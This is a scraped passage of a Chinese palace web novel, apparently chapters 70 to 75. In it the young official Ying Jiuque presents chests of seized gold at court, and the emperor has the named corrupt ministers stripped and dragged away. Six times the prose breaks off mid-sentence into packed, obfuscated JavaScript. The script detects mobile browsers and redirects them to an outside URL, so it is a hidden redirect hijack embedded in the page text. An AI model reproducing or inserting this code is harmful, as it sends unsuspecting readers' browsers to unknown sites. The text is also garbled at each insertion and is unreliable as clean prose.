“陛下!应九阙不过一介女官,却嚣张跋扈至极。但凡被搜查的官员有些许微词,她必拿着打神鞭挥舞在前,让人不敢下手。这岂不是强行逼供?陛下,我大景朝朗朗乾坤,难道就要让她一个六品小官为所欲为吗?” 乱哄哄的声音吵的景泰帝头疼。他知道这段日子不会太平,却没想到这些官员这么快就开始叫嚣。话说九阙不是前天晚上才拿到打神鞭?怎么这么快这么多人就知道了?只是,略微想象一下九雀那瘦弱的模样拎着沉重的打神鞭冲锋在前,景泰帝就忍不住想笑。 只是耳边这吵吵嚷嚷的声音,让他脑袋都快疼炸了。 今日大朝会刚刚开始,下边儿这些当官儿的还要蹦跶出来,跳的那叫一个欢。怎么?他的打神鞭,想给谁就给谁,难道你还想说朕的不对? 只是蹦跶一早上了,都是些车轱辘话,这些官儿也只会搞这种小动作。翻来覆去说这些话有意思吗?他都听累了。 只不过蹦跶的都是一些小官儿,真正的大鱼还没开口,景泰帝坐的还算稳当。紧接着就想起昨天九阙又来请求加派人手的事儿。这事情确实棘手,要不要再多派些金甲卫去帮忙? 正在思考的时候,大殿中间走上来一个面色苍白的人。看到他出来,大家都暂时闭嘴,大殿之上形成了一种诡异的静寂。 礼部侍郎林炜顶着巨大的压力上前两步启奏。 “陛下,臣教女无方。九阙从小在庄子上长大,臣没时间也没机会教导她些许礼仪,以至于她长成现在这样粗鄙无礼。这样大的事情,她一个女子,又能做得了什么呢?现如今把整个京城搅得不得安宁,都是我这个做父亲的没有把她教好。” “陛下,还请您收回九阙的官职,让她回来,臣一定好生教导,给她照顾好人家,成亲生子。也算对得起她母亲的在天之灵了。” “……” 景泰帝冷冷的盯着林伟很长时间。他有些不太确定底下这个跪着的男人是真的在为自己女儿着想吗?如今这个时候,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501223|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他不知道应九阙绝对不能退?但凡往后退一步,这无边的恶意就能扑上去把她彻底撕碎。 因此在林炜说完这些话之后,景泰帝并没有立即做出反应,他只是冷冷的看了一眼,身边就已经有无数臣子扑上来附和。 在他们口中,九阙好像是个十恶不赦,无恶不作的人。但其实那只是一个十几岁的孩子而已,甚至他在外奔波为的也不是自己,而是一些根本不认识的人。 难道他还不知道应九阙是个什么样的人?那孩子根本就不喜欢做官儿,之所以这般强硬,也只是因为这些不干人事儿的混账把百姓们弄得太苦了。那是个好孩子,如今那孩子不在这里就已经受到这么多恶意,若是出现在此,说不定该如何伤心呢。 而这个时候,一直老神在在的高品级官员们也终于站不住了。 礼部尚书上前一步,这是个古板的老头儿,他早就看朝中那几个寥寥无几的女官不顺眼。现在好不容易逮着个机会,怎么能不把她们全都摁下去呢? “陛下,自古以来男主外女主内。女子因为要成亲生子,教养子女,奉养公婆,精力本就大不如男子。 且,如今那几个女官也并没有做出太大功绩,且,应大人仗着您赐下的打神鞭肆无忌惮殴打他人,实在是大大的不该。由此可见女子为官实在不太合适,总是被情绪左右的人,又怎能做一个冷静睿智的官员?” “所以臣奏请,免去应大人的官职。即便没有那六品小官的官位,她依旧是大景朝的应县主,其实也没什么差别。且这样一来,也能消除满朝怒火。连应大人的亲生父亲都愿意,陛下何乐而不为呢?” 景泰帝缓缓坐直了身子,距离太远,下面的臣子们看不到陛下是什么表情,但也敏锐的发现,陛下的心情不是很好。 这老匹夫倒是挺会说啊。正经的官位和爵位能相提并论吗?九阙明明可以做一个为国为民的好臣子,这老匹夫非得让她回到内宅做一个不谙世事的贵女。 好啊,这才是釜底抽薪的毒计呢! 第七十一章 便宜爹 那孩子满腔热血,为国为民在外奔波劳碌。若是发现朝中大臣都是想把她踩到污泥里的德性,该有多么伤心? “这件事不急。好端端的,怎么突然要把她的官儿撤了?既无错处也无缺漏,就算是换成在场爱卿们,朕也不忍心这么做。” “可是陛下,她已经犯了众怒。” “为什么会犯众怒?她到底做了什么了不得的事?不就是在追查无忧洞幕后真凶?只要诸位心中坦荡,又何必畏惧她一个小小的女娃。” “陛下,这不一样啊……” 紧接着又是一轮新的纠缠,景泰帝是真觉得不堪其扰,也不知道这些老东西怎么那么多精力,说这么多话都不觉得累?一个做实事儿的都没有,还在这儿说这些车轱辘话。倒是前些日子衢州大旱,这些人一点儿法子也没有,钱都捐不出来一点儿。早晚有一天要砍了他们…… 见陛下一直不肯表态,大殿中站着的臣子们有些着急了。其中有些人彼此交换了个眼神,将视线放在那些宗室们身上。陛下可以对他们这些臣子下手,难道与自己血脉相连的宗室也下得了手?要知道陛下疼爱晚辈可是出了名的。就算是后宫中那几个寡妇妃子与前夫生的孩子,他也照料的很好。平王殿下一向受宠,如今也被应九阙抓了起来,难道陛下可以置之不理?就算陛下可以不管,可平王的母妃呢?陛下与于妃同床共枕二十多年,一夜夫妻百日恩,更何况他们是共患难的夫妻。难道陛下能狠的下心不管? 还有三皇子,那可是陛下的亲生儿子。 “陛下,虽说应大人一心为国为民,可这次招惹出来的乱子实在是太大,臣等也并不是想让她立刻收手,只是想让她做事委婉一些。毕竟应大人年纪尚小,不如请位年老持重的大臣辅佐可好?” 这时候一直老神在在的宰相终于开了尊口。这位可是三朝元老,曾经辅佐过前朝末帝以及绥帝,在景泰帝攻入京城登基称帝之后,又做了新朝宰相。只不过他这个宰相是景泰帝三请出山请出来的,毕竟当初新朝初定,总要稳定一下民心。而这位名声不错的三朝元老自然成了首选。果不其然,当了宰相之后,他也算兢兢业业,从来都不给景泰帝找麻烦。 这会儿出来说话倒也没有明显的偏向某一方,只是想让朝堂上的混乱平息。 对于这位三朝元老说的话,景泰帝也会略显重视些,沉吟片刻,倒也没有一口否认。 “朝中老成持重德望名高的大臣不少,以宰相的意思,该选哪一位去帮这个忙?” 景泰帝这句话一出来,底下顿时又乱成了一锅粥,这明显是一个可以立功的好机会啊! 谁都想去,可是谁都不愿意当那个出头鸟,因此大家只是在互相推荐。其中还夹杂着几句对应九阙的批判,总而言之,他们这次大朝会是不把应九阙彻底踩在脚下不甘心了。 在这混乱中,景泰帝甚至悠闲的想高歌一曲。同时心里还在想,九阙这案子到底处理的怎么样了,给她的时间还是太短,再拖个十天半月,总能出点儿成果…… 就在这时,九福脸色有些微妙的凑了上来,在景泰帝身边耳语。下面那些臣子虽然表面上混乱不堪,但是实际上对龙椅上景泰帝的举动相当注意。看到这个小小的变故,不少人都彼此交换了个眼神,一颗心提溜了起来。 果然,下一刻众人就听到顶上陛下威严的声音。 “宣她进来。” 这下所有人都安静了,这个时候能上朝的,除了那位在众人口中口口相传的应大人之外,应该也没谁了吧。果然不多时,众人就听到大殿外头传来一阵窸窸窣窣的声音,好像有什么重物落在地上。紧接着,一个瘦削高挑的身影就大步走了进来。 “下官参见陛下。” 周围人都明里暗里打量着应九阙,想要从她的表情上窥探出几分信息,然而这位应大人虽说面色疲惫了些,可脸上却看不出其他表情来,小小年纪,隐藏自己心绪的本事倒是不小。 不等她起身就已经有忍不了的官员凑了上来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501224|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “应大人,不知你究竟查出了什么重要的消息,才能把整个京城搅的团团转。今日我来上朝,竟听见旁边李大人的院子里传来阵阵哭闹。也不知您到底有什么样的证据,能直接去抄家?” “本官也有件事要问应大人。听说你拿了一本什么账本,就按照上面的名字随意抓人,且不说你那账本是真是假,将整个皇城搅得一团乱,也不知应大人究竟是何居心。” “虽说应大人当官的时间短,但咱们毕竟同朝为官,总有些同僚情谊。应大人这般铁面无私,倒是叫我好生敬佩。” “本官也是……” 【原来在我没来之前,这些当官的就是这么上朝的。可怜的老皇帝,估计都要被吵死了也不能在众目睽睽之下发火,看来这皇帝也不是普通人能当的。加油啊!】 景泰帝的嘴角一阵抽搐。这个坏丫头就知道腹诽自己。不过这孩子是没休息不成?看这眼睛底下黑的。不知道的还以为多少天没睡觉呢。 “咳咳,应卿这是查出结果来了?” 听到陛下问话,底下一片安静,应九阙重重的点了点头。 “ 臣不辱使命,已将涉案的罪犯捉拿归案……” “应九阙!你怎可胡言乱语欺瞒陛下?!就一天多的时间,你能查出什么东西?还抓人,我看你是胡乱抓人吧!趁着事情还没有到最坏那一步,赶紧给诸位大臣道歉。你那些胡乱抓的官员,哪一个不是为朝廷兢兢业业多年?你一个小小的六品官,谁给你的权利这么抓人?” “嗯?” “你如果还认我这个父亲,就不要这般哗众取宠。你不过是个小小女子,怎能承担得起这样的重任?你听话,朝堂之上不比闺阁之中,这里是讲究朝廷法度的地方,不要胡闹!” 还以为是谁在这里乱吠呢,原来是那个便宜爹呀。真奇怪,这两天他到处抓人,林大人不可能不知道。既然真的关心自己,有那么多的机会可以直接跟自己说,为什么偏偏要到朝堂之上才开口? 第七十二章 这金子,比国库的都纯! 【真是个狗东西。估计前几天是在观望吧,看我有胜的趋势就先不说话,反正身为我名义上的爹,我要是赢了,他肯定有利可图。现在看着形势不对了,立马跳出来跟我划清界限,免得朝中大佬清算我的时候牵连到他。不是,他怎么这么聪明?聪明到有点儿蠢啊……】 景泰帝忍不住勾了勾唇角。说的没错,都说林炜是个聪明人,就连他也被对方那副聪明样给骗了,可现在看看,他哪里是聪明?分明是愚蠢至极,都已经蠢到分不清你我了。就算他现在就算把嘴说烂,和九阙的父女关系能作假不成? 这年头,人们将血缘关系看的很重,就连诛九族的时候,也会按照族谱血脉杀个干净,真以为说几句话就能撇干净关系?真是可笑。 越是到这种时候,林炜越应该跟应九阙站在一条战线上,反正是一荣俱荣一损俱损,也能给自己赚个爱女的好名声。现在啊,只会被别人唾弃吧。毕竟,这种时候让九阙回到闺阁之中,不就是在杀她吗? 果然,周围官员看着他的眼神都有了些许变化。不管什么时候,这种人都是最被人鄙夷的。 咳咳,不过九阙这么心底里骂爹,还是不对的啊。不能叫别人发现才是。毕竟现在的人们还是很信仰天地君亲师那一套搜的。 不过九阙也不可能那么蠢,果然,她对着林炜行了一礼,脸上有些委屈。 “爹,您不是一直教导女儿,要忠君爱国吗?为何女儿这么做了,您还以为女儿做错了?女儿真的做错了吗?身为朝廷官员,难道不应该为陛下效力?为陛下效力,又怎可顾惜自己性命?女儿这都是跟父亲学的啊!” “唰!” 这下,周围人都将视线放在了林炜身上。 没看出来啊。他们之前就在疑惑,应九阙一个十几岁的小姑娘,他们自家这么大的小姑娘都等着出阁,乖巧可爱,连衙门在哪儿都不知道,应九阙怎么就一抓人一个准,还敢去无忧洞那等地方出入。原来是身后有人在支招,林炜,真是个大才啊,这种不要脸的法子都能想出来,让自己的闺女在外头冲锋陷阵,自己坐享其成,厉害,这是真厉害啊。 林炜自然能察觉到周围这些视线,着急了,可就算着急也没用,他能说什么,难道说应九阙不是自己的亲闺女?这种名头,他还是不想要的。 只是,果然是个逆女,从小就不听话,现在依旧是这样,养也是白养,这要是把林家拖下水,他寒窗苦读这么多年的成果不就白费了? 此刻,经过短暂的沉默过后,那些想给应九阙安上一个肆意破坏京城安宁罪名的大臣们默默蓄力,就等着一个合适的时机一拥而上将应九阙撕碎。应九阙总要述职吧?从这些文字里找到错处对他们来说还不简单? “陛下,臣除了将涉事官员捉拿归案,还将罪证都带了回来,只是有些多,还请陛下出殿一观。” 罪证? 景泰帝有些疑惑,什么罪证?那些罪证不是应该交给刑部?为何还要大费周章的带到皇宫?不过,既然九阙都开了口,景泰帝自然也来了兴致,摆摆手制止底下臣子们的抗拒,带头走了出去。 诸位臣子见状,也不能落后啊,于是纷纷跟上,众人出去之后,只见原本空旷的广场上摆了上百个大木箱子,旁边站着的,是有些气喘的金甲卫。 这么多箱子,都是罪证? 呵,原本有些紧张的官员此刻都淡定下来,就算有罪,怎么可能有这么多罪证?都是骗人的。 “应卿,这些是?” 应九阙行了个礼,十分恭敬。 “启禀陛下,这些都是微臣查出来的罪证。无忧洞一案,涉及到的幕后真凶太多,微臣彻查至今,其实还未抓完真凶,不过,这些罪证太多,刑部已经堆放不下,且放在刑部也不太安全,所以臣才将这些东西带回,毕竟天底下最安全的地方就是这里,只有放在皇宫里,才最安全。” “哦?” 这下景泰帝是彻底来了兴致。到底是什么东西,才会放在刑部都不放心,难道是朝中这些混账东西的罪证?那倒是有可能和刑部勾结倒换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501225|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “打开看看。” “是。” 九阙挥了挥手,底下那些强压着激动的金甲卫动作一致,唰的打开箱子。一瞬间,灿烂的金光在广场上交相辉映,甚至因为有阳光的照耀,更显眼了。 站在高台上的景泰帝等人甚至忍不住先挡了一下眼睛,才细看那些从箱子里透出来的金光。 这什么玩意儿? 等真正看清楚这些巨大的木箱里装着的东西之后,所有人都陷入了短暂的呆滞。 “这,这……” 这竟然是成箱成箱的金子! 虽然有些不成形状,似乎是被砸扁了,但那纯度,只需要看一眼就能明白,这可是纯金! 景泰帝面沉如水,大步走过去,随手捞起一块儿仔细研究,等发现这纯度竟然不比国库里的还要高之后,冷笑一声,面色难看至极。 “应卿,你来说说,这些赃银,你是从哪里得来的?” “回陛下,大概有平王府,吏部员外郎张大人,左都御史王大人……” 景泰帝认真的听了听 ,随手将手中的金子扔回箱子里,回身看着一个字都说不出来的官员们,表情那叫一个难看。 “众卿怎么不说话了?刚才不是一直在为那些罪臣喊冤吗?如今竟然一字不提,未免太过心狠。” 一片寂静。 “这些金子好,是真好啊。比国库里的还要纯,是不是比朕内库里的那些还要好?朕倒是不知,那些平日里嘴上喊着忠君爱国的臣子们,私底下竟然揽了这么多钱财。这还是朕的忠臣吗?” “当初衢州大旱,你们一个个叫穷,最后连一千两黄金都凑不齐,可现在呢?看看地上这些金子吧,多的朕都不想看了!” “现下,朕不能不怀疑,你们之中也有人暗地交易,和无忧洞幕后真凶勾缠,为他们提供便利,得到这叫朕都心动的利益!” “臣等罪该万死,请陛下息怒——” 在场所有人都跪了。 第七十三章 念一个,抓一个! 什么叫雷霆之怒?这就是了。虽然在场众位大臣各有各的盘算,可是在发现景泰帝真的生气之后,没人敢多说什么,全都跪下大声请罪。 景泰帝花费了好一阵时间才勉强让自己平静下来,他其实早就已经做好朝中有蛀虫的准备,可是当这么多金子摆在眼前的时候,他发现还真是高看了自己,因为他此刻是真的很生气,气的恨不得把这些人碎尸万段。 这可都是大景朝的百姓换来的金子,这些狗官在被高官厚禄养着的时候,难道从未想过是因为天下百姓的供养才让他们有这样的好日子? 真是一群目光短浅,心地恶毒的蠢货。 顿了顿,景泰帝看向应九阙。 “除此之外,还有什么收获?” “臣找到窝点十一个,救人九百一十六位,收缴金银珠宝不计其数,且还有大批量的丹药。” 说到这里酒,九阙顿了顿。按照这边的习俗,她身为女子,在说到这种丹药的时候是不是应该表现出相应的羞涩? 但是尝试了一番之后,九阙还是干脆放弃了。不成不成,她真是做不出来这样的表情。 “这些丹药在豢养美人姣童的院落里随处可见,臣已经审问过那些院落服侍的管事,据说这些东西是给去那里玩乐的男子助兴用的。且,若是服用过多,会成瘾。” 听到这话,在场很多人表情都有点儿凝固。尤其是林炜,他呆滞的看着自己的女儿,无法想象她是怎么在大庭广众之下说出这种话,身为大家闺秀的委婉呢?女子应有的本分低调呢,提到这种话题还能脸不红气不喘。他生的这真是个闺女,而不是个男人吗? 经过今日这一遭,他算是彻底明白,这个女儿以后是嫁不出去了,就算真的嫁出去,也只能嫁给乡野村夫。有哪个好人家的郎君愿意娶一个大庭广众之下大放厥词的女子? 除族!今日回去之后,他一定要开祠堂,把这个逆女给除族!他们林家才没有这样的女儿!难道她以为陛下会处理那些罪臣吗?陛下只会当做看不到,涉及的人数太多,难道陛下要把半朝的人都杀光杀净吗? 应九阙根本就没去看林炜,因此也没发现对方铁青的表情。他这次带进宫的不仅仅有大量的金子,还有意外收获。 这次她在这些寻欢作乐的场所收缴了大批量的丹药,经过谢明尘的友情帮助,和之前在青云观发现的那些,以及辛探花他爹临死之前吃的那味,成分相同。换句话说,它们根本就是一样的,只是换了个名字。 她不信这些案子之间没有关联。但是很遗憾,崔前辈只找到了半本儿账册,剩下的半本儿不知所踪。并且她接连抓了将近两天,还没把人抓全。剩下的那些…… 看了一眼面色各异的朝臣们,剩下的都在这些忠心耿耿的朝臣之中了。这次她已经把能找到的所有人证物证都带齐,眼下要看的就是陛下准备如何应对。 其实应九阙也有些忐忑,毕竟抓到的那些人以及剩下的名单里有不少都是和陛下关系密切之人,比如说陛下的亲儿子三皇子,还有他的继子平王,甚至还有一些与他同甘共苦过的兄弟们。 大义灭亲这个词说起来容易,可是真正用到实际上,很难有人能当机立断做下决定。毕竟你轻轻一句话落下,死的不是毫无关系的陌生人,而是与你朝夕共处许多年的亲人朋友。 一边是律法,一边是情义,陛下会如何选择呢? 现场陷入了短暂的寂静。 景泰帝怒急反笑,好,好啊,这就是他的好儿子,好臣子,好兄弟们! 用无辜百姓笼络大批量的钱财,甚至那些丹药也不单单是为了助兴。毕竟那丹药吃多了会上瘾。上瘾了之后岂不是会源源不断的把钱财送入那些寻欢作乐的场所?他简直不敢想象,自己来到京城君临天下不过十三年,而无忧洞已经存在了上百年,里面流通的巨大利益,最后流向了谁呢? 不管幕后真凶是谁,他的目的显而易见,无非是想要通过种种手段来操控这个王朝,可他虽然老了,还没死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501226|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !只要他还活着一天,就没人能在大景朝的土地上兴风作浪。 “金甲卫。” 帝王轻飘飘的一句话,那些原本驻扎在广场两侧的金甲卫齐刷刷用力捣了一下手中长矛,发出一声沉闷的敲击。 “在!” “应卿,把名单呈上来。九福,念名字!念一个抓一个,朕就不信这些贪官污吏杀不完,杀不尽。” 当下就有不少臣子面色苍白,两股战战,甚至有一些想到会有的下场,忍不住要往后倒。哪怕身边的同僚扶了一把,脸色也依旧难看。 九福拿起那份名单,一向谦卑恭敬的脸上竟也带了一丝肃杀。他也是跟随景泰帝的老人了,当初也不过是个普通百姓。因为受不了适当的搓磨才会跟着陛下愤而起义,最终来到这至高无上的位置旁边。虽然脱离民间已久,可他并没有忘记自己的根在哪里。 朝中的这些臣子啊,他们平日里高高在上,看自己的眼神都充斥着鄙夷。没想到他们这些所谓的忠臣连他一个没根的人都比不上。连他都知道君子爱财取之有道,这些人倒好,为了得到钱财竟然能够对无辜的百姓下手。 这 和前朝末年那些贪官污吏有什么区别? 真以为陛下年纪大了,心软了就不会动手了?当初登基路上血骨累累,陛下照样冲杀过来,从一无所有的牵手到至高无上的位置,陛下凭的可不是心软,而是当断则断的魄力。 “刑部司名左秋塘……” “陛下!陛下饶命啊,陛下,臣只是一时鬼迷心窍,臣愿意把全部家资捐出!只求陛下留臣一条性命,让臣改过自新啊……” “砰砰!” 陛下没有发话,旁边的金甲卫见到有人妄图咆哮皇城,直接两棍子下去,打的那大喊出声的臣子口吐鲜血,萎靡倒地。 剩下那些原本准备有样学样的臣子顿时闭上了嘴。只是他们面色惨白的很,努力了这么多年才来到这朝堂之上,谁能想到青云之路会就此断折? 第七十四章 拖下去! 而这一切全都怪那个站在陛下旁边的女人。她没出现之前一切都好好的,大家你知我知。谁会那么没眼色把这种应该烂在肚子里的事情挑出来?如果不是应九阙,他们现在还好好做着自己的官,怎么可能须臾之间就变成阶下囚呢? “……礼部莫明与!” 随着最后一个名字落下,广场上已经被压了五十七个官员。要知道这样的朝会只有五品以上的官员才能参加,除去那些已经被抓起来的,这个比例已经很骇人了。 那些原本战战兢兢的人在看到周围这么多有罪同僚之后,心中竟忍不住松了口气,毕竟法不责众,陛下就算再怎么生气,难道能把如此多的官员一并杀了不成?杀了这么多官员,朝廷应该如何运转?短时间内怎么可能有足够的官员替补?所以这次只可能小惩大戒,他们不会死了…… 只要还活着,什么事不能做?只要有喘息之机,他们就能找到法子活下去。 此刻,还站着的臣子们看了一眼摸不清状况的同僚,忍不住闭了闭眼。这些人是慌不择乱,难道入朝为官这么多年还不了解陛下是个什么样的人?他今日既然已经点明,就不会善罢甘休。 这天,要乱了呀。 果然,在跪着的臣子渴盼的眼神中,景泰帝挥了挥衣袖,金黄的衣袍在阳光下折射出灿烂的光芒,那是绣在龙袍上的金龙。 “扒去他们的官帽,除去他们的官服!” “陛下!” 底下果然响起了一阵不可思议的叫喊,这个时代,讲究君子正衣冠。在大庭广众之下扒去衣服,简直是对人最大的折辱。尤其他们还是官员,他们是天下文人的表率,天下仕子的前辈。 这么做简直比杀了他们还让他们难受。 不管底下的官员如何哀求,景泰帝心意已决,那些如狼似虎的金甲卫直接扑上去扒去他们的衣服,摘掉他们的帽子,现场顿时响起了一片苦求哀嚎。 只有经历在一边的史官,激动的看着这一幕,手中的笔运作如风,简直要飞起来了。 像这样的大事件,几十年都不会有一次,得好好的记下来,传给后人! 而看到史官动作的罪臣们更是生无可恋,像他们这样的人,不管皮囊底下的那颗心如何黑暗污糟,都希望自己能有个清正廉洁的好名声。现在被记下,岂不是要遗臭万年? 这简直比杀了他们还要可怕。 这还没完,把他们扒干净之后,景泰帝直接让金甲卫带着这些罪臣们从皇宫出发,直出午门,往最繁华的街道去,势必要让这些罪臣的杨子被世人铭记。 “陛下,你不能这么做啊陛下!你忘了当初在战场上被敌军围剿,还是微臣冲锋杀敌,杀出一条血路吗?您不过登基十三年,就已经忘了当初一起出生入死的兄弟了吗?你不能这么对我,你这是想让咱们这些兄弟寒心吗?” “……” 蠢货啊,简直是蠢货! 就连九阙都有些同情景泰帝了。就算陛下有心想捞你一把,可大庭广众之下你说出这样的话,岂不是要挑动陛下和臣子之间的关系?这下就算想救也无法正大光明的出手了,不然救了你,难道能不就另外的臣子?大家心里总会不平衡。像这种自绝生路的蠢货有,不过不多。 即便如此也足够景泰帝气愤了。 “你还有脸提以前?你以前不过是个杀猪家的儿子,自己家的猪肉铺子被当时的小官儿霸占,你亲爹都被气死了!不过短短几日间就家破人亡,你忘了那个时候你是怎么说的吗?你说以后若是你做了官,一定要做个清正廉洁的好官,绝对不让底下的百姓受这样的苦。现如今你才当官儿多少年?就已经把当初的誓言忘得一干二净了?那些被买卖的百姓,难道不是当初的你?” “陛下!这怎么能一样?我早就不是那个任人欺负的杀猪家儿子,我可是三品官!既然别人可以高高在上,一句话掌握别人生死,为什么我就不能? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501227|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下,您就是忘了当初一起出生入死的兄……唔唔!” 站在他旁边的金甲卫早就看这口出狂言的老东西不顺眼,这会儿直接一棍子打在他脊背上,把这老东西所有不该说出口的话全都给打下去。 景泰帝摆了摆手,似乎根本没有被这短暂的插曲扰乱心神。 “拖下去。” 哪怕没有被叫到名字的官员在看到这一幕时也忍不住脊背发凉,这是要让他们永远被钉在耻辱柱上。尤其是要被那些平时里并没有真正放在心上的底层平民看到自己最狼狈的模样…… 这让一向自诩高高在上的人如何能受得了?真是杀人诛心啊! 直到亲眼看着那些鬼哭狼嚎的官员们被金甲卫带着走出去,景泰帝才觉得自己心中这口恶气出了些许。回头看了看那些如小鸡崽子般安静的臣子,景泰帝露出个笑脸。 “诸位卿家不必害怕,朕处置的是那些乱臣贼子,跟诸位忠心耿耿的卿家没有关系。更何况,难道诸位不愿意看到乱臣贼子伏法?” 这话问的,谁敢说不想啊,于是大家都点了点头,不管真心还是假意,表现的那叫一个嫉恶如仇。就算那些被拉走的人里有的是自己好友,甚至是自己的姻亲,此刻都表现的根本不认识 。 夫妻本是同林鸟,大难临头各自飞,更何况他们根本不是夫妻,这种情况下还是得自保啊。只不过在短暂的安静之后,大家又想起了一个难题。陛下已经处理了这些臣子,就是不知会如何处理自己的孩子? 就在这个时候,远处突然响起一阵急促的脚步,夹杂着的还有一些焦急的劝阻。在这个时候出现实在有些不合时宜。 众人顺着声音望去,发现是一群宫装丽人,能在这个时候出现在皇宫大殿的,除了陛下的女人,还会有谁? 有不少眼尖的臣子已经发现,走在最前面的那两位,赫然就是平王和三皇子的生母! 于妃和李妃! 第七十五章 恭喜恭喜啊 众所周知,景泰帝的文化水平不高,因此他后宫的妃子也并没有取什么高深莫测的封号,反而十分直白的以她们的姓氏册封。 这两位妃子其实跟着景泰帝的时间都不短,感情自然是有的,毕竟是患难夫妻。也正是因此,看到这二位前来,众人都有种‘好戏终于要开场’的感觉。 果不其然,这两位还没有到景泰帝面前就已经传来阵阵哭声。 “陛下,您这是要做什么?臣妾怎么听说皇儿被抓到刑部大牢里去了?陛下,您是最知道我们孩子性情的,他胆子那么小,怎么可能做坏事?一定是有人引诱他!” “是啊陛下,您难道还不知道平儿是什么性子吗?他生性胆小,什么都不敢,怎么可能做坏事?您一定要明察秋毫,抓住那些胡言乱语进献谗言的人。” 好家伙,这人还没到跟前,声音就已经飘过来了。就是九阙怎么听着这些话像是在点自己呢?她好像也没做什么天怒人怨的事情吧?就是把某些人做的不能见光的事儿摊开来罢了,这样也有错? 果不其然,等到两位娘娘走到跟前,看着自己的眼神充满不善。只是还没等他们两个发难景泰帝就冷下了脸。 “你们两个来做什么?” 虽说现在没有严格的后宫不能干政这样规矩,可平常前朝与后宫也是分开的,后宫娘娘无缘无故到前朝来,甚至还在开朝会的时候擅自前来,擅自对政事加以议论。尤其是还赶到现在这个时节,景泰帝怎么可能对她们有好脸色? 两位娘娘见状连忙止住了泪,只是一边擦泪一边抽噎。 “陛下,臣妾只是想知道,咱们的孩子到底做了什么十恶不赦的大事要被关到刑部大牢里头去?那里边儿根本不是人住的地方,又潮湿又阴冷,咱们孩子怎么受得了啊?” “受不了?那些无辜被拐卖的人难道都受得了与骨肉分离的惨痛?” “拐卖?什么意思?” “无忧洞一案涉及受害人上千,老三和平王,皇亲贵胄,受天下百姓供养!就养出两个不分好坏的混账东西?” “可是,他们之前分明都是好好的孩子,陛下不是也夸过他吗?怎么可能突然之间就变坏?总会有原因吧?而且陛下,咱们来到京城不过十三年,十三年前两个孩子才多大?他们能做什么坏事?总不能不弄清楚就定他们的罪……” “是啊陛下,哪怕让他们从刑部大牢里出来,换个地方关着也行啊。” “行了,少说几句,慈母多败儿。就是因为你们这么宠溺孩子,才会让他们如此不分天高地厚。” 这两人到底知不知道换个地方囚禁,就只有闭府圈禁啊。圈起来也就代表这人丧失了继承大统的资格。就像刚刚于妃说的,在事情没有弄个水落石出之前,那两个孩子他暂时不准备处置。他就是要看看,那两个平日里看起来也算恭顺的孩子为什么会变成现在这样?到底有谁会为他们求情?到底有谁带坏了他们? 然而景泰帝没有明说,两位娘娘也不知道他的意思,这会儿忍不住为自己的孩子求情。主要两位娘娘从前只是普通人家出身,甚至大字都不识一个,后来进了宫,景泰帝专门请了人来教导才算识字。只不过,半道上识字和别人经年累月的教导还是有差别的。 就像现在这样,景泰帝当着这么多臣子的面根本无法跟她们说个清楚,偏偏她们还在旁边哭哭啼啼的,不一会儿就弄得景泰帝怒火中烧。 “九福,送两位娘娘回宫去。前朝的事情自有前朝臣子处置,跟你们有什么关系?先管好自己,再说他人。” 两位娘娘大惊失色,然而当着这么多臣子的面,她们又怎敢继续多说?若是被陛下厉声训斥,那真的是连一点颜面都没有了。 